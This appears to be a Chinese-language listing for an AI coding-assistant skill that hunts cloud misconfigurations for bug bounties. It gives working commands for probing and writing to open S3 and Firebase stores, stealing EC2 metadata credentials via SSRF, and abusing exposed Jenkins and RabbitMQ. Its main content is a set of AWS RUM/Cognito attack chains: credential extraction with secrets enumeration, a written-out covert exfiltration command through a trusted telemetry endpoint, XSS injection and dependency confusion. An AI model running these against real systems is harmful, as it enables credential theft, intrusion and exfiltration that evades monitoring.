关于 hunt-cloud-misconfig
hunt-cloud-misconfig 是用于发现云端与基础设施配置错误的安全测试技能。它检查暴露的存储、元数据服务、管理面板及 AWS RUM 相关身份与遥测风险,并提供本地验证指导。
主要功能
- 01检查公开的 S3、GCS 和 Azure Blob 存储
- 02探测元数据服务与暴露的管理面板
- 03调查 Jenkins 和消息代理暴露
- 04检测 AWS RUM 与 Cognito 身份风险
- 05提供 LocalStack 验证指导
适用场景
- 01检查云存储桶是否允许未认证列举
- 02评估 SSRF 对实例元数据凭证的访问
- 03检查暴露的 Jenkins 或 RabbitMQ 管理端点
- 04在本地测试环境验证 AWS RUM 身份池权限
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-cloud-misconfig安装后在 Claude Code 中输入/hunt-cloud-misconfig确认已加载。
详细介绍
16. 云 / 基础设施配置错误
S3 / GCS / Azure Blob
# S3 listing
curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"
aws s3 ls s3://target-bucket-name --no-sign-request
# Try common bucket names
for name in target target-backup target-assets target-prod target-staging; do
curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"
done
# Firebase open rules
curl -s "https://TARGET-APP.firebaseio.com/.json" # read
curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write
EC2 元数据(通过 SSRF)
http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys
暴露的管理面板
/jenkins /grafana /kibana /elasticsearch /swagger-ui.html
/phpMyAdmin /.env /config.json /api-docs /server-status
Jenkins SSO 限制失效 → 脚本控制台 RCE
如果暴露的 Jenkins 可以通过任何个人 Google/OAuth 账号进行身份验证(缺少组织域限制),就意味着系统已完全失陷:登录后,/script(Groovy 控制台)可实现 RCE,而 /credentials 和 /scriptText 会泄露已存储的 API 令牌和源代码。披露记录:reports/231460。
暴露的消息代理(RabbitMQ / AMQP)使用默认凭据
探测 RabbitMQ 管理界面(http://TARGET:15672/、API :15672/api/overview)和 AMQP :5672;尝试默认凭据 guest:guest(当 loopback_users 配置错误时,可从 localhost 以外的位置使用)→ 读取队列 / 消息、枚举 vhost、获取管理插件管理员权限。披露记录:reports/753602。
本地验证工具链
在触及真实云服务之前或以本地 AWS 模拟器替代真实云服务,测试云配置错误发现:
# LocalStack 3.0 community (pin the version — 4.x requires a Pro license)
docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0
# awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header):
export AWS_REQUEST_CHECKSUM_CALCULATION=when_required
export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required
export AWS_ENDPOINT_URL=http://localhost:14566
export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_KEY=test AWS_DEFAULT_REGION=us-east-1
如果没有这些环境变量,aws s3 cp/sync 会失败并提示 InvalidRequest。请向团队说明这一点。完整的可复现流程见 docs/verification/phase2j-cloud-localstack.md。
CloudWatch RUM 武器化(2024-2026 攻击面)
AWS CloudWatch RUM(真实用户监控)是一项客户端遥测服务,于 2021 年底推出。客户在网页中嵌入一段 JS 代码,将性能 / 错误事件发送到 dataplane.rum.<region>.amazonaws.com。代码段的 AppMonitor 配置包含一个 identityPoolId(Cognito)和一个 guestRoleArn(IAM 角色)——两者按设计均为公开信息。IAM 角色策略才是安全边界;如果开发人员将策略设置得比文档规定的最低权限(对 AppMonitor ARN 授予 rum:PutRumEvents)更宽泛,整个池就会变成无需身份验证的 AWS 凭据供应机器,正如 cloud-iam-deep → Cognito Identity Pool 链中所述。
检测 — JS 包指纹
代码段形式(最常见,嵌入 <head>):
(function(n,i,v,r,s,c,x,z){...})(
'cwr',
'00000000-0000-0000-0000-000000000000', // applicationId (UUID)
'1.0.0',
'us-east-1',
'https://client.rum.us-east-1.amazonaws.com/1.x/cwr.js',
{
sessionSampleRate: 1,
guestRoleArn: "arn:aws:iam::123456789012:role/RUM-Monitor-...-Unauth",
identityPoolId: "us-east-1:abcd1234-...",
endpoint: "https://dataplane.rum.us-east-1.amazonaws.com",
telemetries: ["errors","performance","http"]
}
);
NPM 形式(aws-rum-web package):
import { AwsRum, AwsRumConfig } from 'aws-rum-web';
const config: AwsRumConfig = { identityPoolId, endpoint, guestRoleArn, ... };
const awsRum = new AwsRum(APPLICATION_ID, '1.0.0', AWS_REGION, config);
用于侦察的正则表达式集
# Detect RUM init
grep -REn "cwr\(['\"]init['\"]|from\s+['\"]aws-rum-web['\"]|new\s+AwsRum\(" .
# Extract applicationId (UUID v4)
grep -ErohE "applicationId['\"]?\s*[:=]\s*['\"]([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})['\"]" .
# Extract identityPoolId (region:UUID)
grep -ErohE "identityPoolId['\"]?\s*[:=]\s*['\"]([a-z]{2}-[a-z]+-[0-9]+:[0-9a-f-]{36})['\"]" .
# Extract guestRoleArn (leaks AWS account ID + role name)
grep -ErohE "guestRoleArn['\"]?\s*[:=]\s*['\"]arn:aws:iam::[0-9]{12}:role/[A-Za-z0-9._/-]+['\"]" .
# Endpoint reveals region
grep -ErohE "dataplane\.rum\.[a-z0-9-]+\.amazonaws\.com" .
攻击链
攻击链 A — 提取凭据(guestRole 权限过大时为严重风险)。 从页面提取 identityPoolId 后,任何人都可以运行:
aws cognito-identity get-id \
--identity-pool-id "us-east-1:abcd1234-..." \
--region us-east-1 --no-sign-request
aws cognito-identity get-credentials-for-identity \
--identity-id "us-east-1:<returned-uuid>" \
--region us-east-1 --no-sign-request
# → STS creds; export and:
aws sts get-caller-identity # confirm role
aws s3 ls; aws dynamodb list-tables; aws lambda list-functions; aws ssm describe-parameters; aws secretsmanager list-secrets
# Automate: pacu / enumerate-iam.py
完整攻击链见 cloud-iam-deep → Cognito Identity Pool 无需身份验证链。RUM 是一种常见的嵌入场景。
攻击链 B — 通过遥测端点隐蔽外传。 dataplane.rum.<region>.amazonaws.com 是所有企业允许列表中的 AWS 自有域名。PutRumEvents 载荷接受任意 userDetails 和 customEvents 字符串字段:
aws rum put-rum-events \
--id $(uuidgen) \
--app-monitor-details '{"id":"<appId>","version":"1.0.0"}' \
--user-details '{"userId":"EXFIL_PAYLOAD_HERE","sessionId":"<session>"}' \
--rum-events '[{"id":"'$(uuidgen)'","timestamp":'$(date +%s)',"type":"com.amazon.rum.custom_event","details":"{\"exfil\":\"<base64 of stolen data>\"}"}]' \
--endpoint-url "https://dataplane.rum.us-east-1.amazonaws.com" \
--region us-east-1
防御人员在出口流量中看到的是发往已知可信 AWS 主机名的流量;DLP 不会解析 JSON 请求体;SIEM 规则通常不会采集客户的 RUM 遥测数据。
攻击链 C — 通过代码段源污染注入 DOM。 许多客户会在自己的 CDN 上托管 cwr.js(assets.target.com/cwr.js),或将 aws-rum-web 打包后从 static.target.com/main.<hash>.js 提供。JS 主机的子域名接管,或供应链遭到破坏(针对 aws-rum-webb 的 npm 拼写仿冒),都会在每次页面加载时持久执行 JS,并获得 aws-rum-web SDK 的信任——包括其已获授的 Cognito 权限。
攻击链 D — 注入遥测数据 / 污染仪表板。 凭借公开的 identityPoolId 和 applicationId,外部攻击者可以通过伪造错误峰值淹没真实告警、向页面 URL 遥测数据注入 XSS 载荷(在 SOC 分析师查看 CloudWatch 仪表板时触发),并增加计费的 RUM 事件数量(造成经济型 DoS)。
严重性评估标准
| 发现 | 严重性 | 理由 |
|---|---|---|
guestRoleArn 包含 *:*,或在多个服务上使用通配符 | 严重(9.1+) | 匿名用户可完全访问 AWS |
guestRoleArn 在生产资源上包含 s3:*、dynamodb:*、secretsmanager:*、lambda:Invoke* | 高(7.5-8.8) | 可能导致数据外泄或远程代码执行,具体取决于资源 |
guestRoleArn 仅包含 cognito-identity:* 或 iam:PassRole | 高(8.0) | 可用于权限提升 |
guestRoleArn 仅包含 rum:PutRumEvents,且资源限定到端点 | 信息性 | 有文档说明且符合预期的配置 |
RUM userDetails 将个人身份信息记录到可在 CloudWatch 控制台中查看的事件里 | 中(5.3-6.5) | 通过共享仪表板造成敏感数据泄露 |
RUM AppMonitor 接受来自任意互联网来源的 PutRumEvents 请求(遥测注入) | 低-中(4.3) | 污染仪表板、规避警报、造成计费型拒绝服务 |
在可被接管的子域上自托管 cwr.js,且可与其他漏洞串联 | 严重(9.8) | 在每个客户页面上造成持久化存储型 XSS |
已披露案例/权威分析文章
截至 2026-05,尚无专门针对 AWS RUM 的 CVE。研究中记录了这类攻击,但公开的漏洞赏金平台活动记录中,针对 RUM 的具体命名赏金案例很少见。其模式是“通过嵌入式 SDK 导致 Cognito 身份池权限过大”,RUM 是常见的嵌入方式之一。
- Andres Riancho — “Misconfigured Cognito Identity Pools”(2020/2023) — 确立了这类攻击。 andresriancho.com
- Rhino Security Labs — Pacu
cognito__enum_identity_pools— 可自动执行攻击链 A 的生产级工具。 github.com/RhinoSecurityLabs/pacu - NotSoSecure / Claranet — “Exploiting weak configurations in Amazon Cognito”(2023 年 11 月) — 明确指出,RUM 是常会泄露身份池 ID 的三种 SDK 之一。 notsosecure.com
- HackTricks Cloud —
aws-cognito-unauthenticated-enum— 经典操作指南。 cloud.hacktricks.wiki - Datadog Security Labs — “Following AWS Logs Backwards: Cognito Identity Pool Abuse”(2024) — 展示了实际滥用率的遥测数据。 securitylabs.datadoghq.com
- aws-observability/aws-rum-web GitHub issues #213、#404 — 社区对打包代码片段安全模型的讨论。 github.com/aws-observability/aws-rum-web
验证清单(报告前)
- 从页面源代码中提取
identityPoolId。 - 确认身份池允许未经身份验证的身份(无需身份验证即可成功调用
get-id)。 - 确认
get-credentials-for-identity会返回 STS 凭证。 - 运行
aws sts get-caller-identity,并截取角色 ARN 的屏幕截图。 - 运行
enumerate-iam/ Pacuiam__enum_permissions— 至少记录一项除rum:PutRumEvents之外的允许操作。否则,发现仅为信息性。 - 演示至少一项对真实资源的读取/列表操作(列出 S3 存储桶、扫描 DynamoDB、调用 Lambda)。
- 即使允许,也不要修改或删除数据 — 仅进行只读概念验证。
相关技能与链式攻击
hunt-subdomain— 指向已删除存储桶的过期 CNAME 是接管的宝库。链式利用原语:云配置错误(S3 公开/已删除)+hunt-subdomain→ 未认领的 CNAME 指向存储桶 → 接管assets.target.com。cloud-iam-deep— 公共存储桶中泄露的 SA JSON/AWS 密钥只是漏洞的一半。链式利用原语:公共 S3 +.env中泄露的 AWS 密钥 → 使用cloud-iam-deep枚举 → 通过跨服务iam:PassRole提权。hunt-ssrf— 元数据服务仅能从 VPC 内部访问;SSRF 是搭桥的手段。链式利用原语:SSRF + 云配置错误(仍启用 IMDSv1)→ 实例角色密钥 → 读取 S3/RDS 数据。supply-chain-attack-recon— 暴露的 CI/CD 端点和 SBOM 会泄露内部软件包名称。链式利用原语:暴露的 Jenkins/GitLab + 内部软件包名称泄露 → 发布 npm/PyPI 依赖混淆软件包 → 攻陷 CI 构建。security-arsenal— 加载 Cloud Bucket Wordlist(target-prod / target-backup / target-staging 的排列组合)和 Admin-Panel Path List,以便快速枚举。triage-validation— 应用 Unique-Marker 门槛:任何“可写存储桶”的说法,都必须先写入唯一标记文件,并在干净会话中读回,然后才能提交报告。